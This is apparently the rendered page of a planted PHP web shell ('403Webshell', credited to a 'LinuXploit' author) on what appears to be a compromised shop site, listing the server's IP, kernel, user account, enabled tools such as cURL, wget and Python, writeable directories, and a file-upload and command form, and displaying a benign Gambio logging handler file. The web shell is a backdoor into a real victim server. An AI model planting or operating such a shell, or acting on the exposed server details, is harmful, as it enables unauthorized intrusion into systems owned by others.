403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/core/logging/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/core/logging/LoggingAjaxHandler.inc.php
<?php
/* --------------------------------------------------------------
   LoggingAjaxHandler.inc.php 2017-12-18
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2017 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

class LoggingAjaxHandler extends AjaxHandler
{
	function get_permission_status($p_customers_id=NULL)
	{
		if($_SESSION['customers_status']['customers_status_id'] === '0')
		{
			#admins only
			return $this->_checkAdminReadingPermission('Logging', !empty($p_customers_id) ? $p_customers_id : $_SESSION['customer_id']);
		}
		return false;
	}

	function proceed()
	{
		$t_log_group_id = (int)$this->v_data_array['GET']['log_group_id'];
		
		$t_sql = '	SELECT
						name
					FROM
						log_groups
					WHERE
						log_group_id = ' . $t_log_group_id;
		$t_result = xtc_db_query($t_sql);
		$t_row = xtc_db_fetch_array($t_result);
		$t_log_group_name = $t_row['name'];
		
		$this->v_output_buffer = LogControl::get_instance()->get_group_configuration($t_log_group_name, false)->get_configuration_html_form();

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit